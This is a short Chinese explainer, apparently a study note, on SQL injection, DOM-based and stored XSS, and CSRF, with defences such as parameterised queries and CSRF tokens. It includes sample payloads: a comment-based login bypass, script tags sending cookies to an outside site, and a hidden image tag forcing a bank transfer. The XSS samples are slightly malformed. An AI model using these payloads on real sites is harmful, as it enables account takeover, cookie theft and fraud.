SQL注入:
比如我登陆一个账号
username:jojo
password:123
到了后台后,sql语句逻辑即为:
select * from table where username='jojo' and password='123'
此时,如果我输入的用户名为jojo’–
select * from table where username='jojo'--' and password='123'
则不用密码也可以获取账号的信息
所以我们平时写代码的时候喜欢这样写,防止sql注入:
a:=jojo
b:=123
_, err := mdl.Table.Query(select * from table where username=? and password=?,a,b).RowsMapInterface()
XSS(cross site script 跨站脚本攻击):
DOM-Based XSS(基于DOM的xss):
假如登录一个网站:https://www.csdn.com/index.html?param=jojo
如果param的值不是一个普通的字符,而是一段恶意脚本: https://www.csdn.com/index.html?param=<script>window.open("https://www.pornhub.com?Cookie=") +document. Cookie) </script>
浏览器发现网页端有< script >标签,便老老实实的执行了恶意脚本:
<script>window.open("https://www.pornhub.com?Cookie=") +document. Cookie) </script>
这段恶意脚本会将用户的cookie发送到https://www.pornhub.com从而达到窃取的目的
Stored XSS(存储型XSS):
比如用户在文章下面评论“牛逼<script>window.open("https://www.pornhub.com?Cookie=") +document. Cookie) </script>
”,这条评论存到数据库后,
其他用户在查看这个评论的同时,也会执行这个恶意脚本,杀人于无形
防范XSS攻击的主要方法就是检验用户提交的信息是否有脚本
CSRF(Cross Site Request Forgery 跨站请求伪造)
比如在B网站你点击了下面这玩意,他就会向A网站发请求,转1千给123456这个黑客
<img style="width:0;" src="http://www.bankA.com/APi/transfer?toiD=123456&cash=1000"/>
避免CSRF攻击的方法有:
区分当前请求的来源网站:HTTP请求头里面有个字段Referer就是用来标示本次HTTP请求来源的。在例子中把不是A网站的请求均判为非法请求即可
在表单中添加校验token。在例子中发起CSRF攻击的B网站他获取不了token,所以身份认证失败,请求失败
关于token:
Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。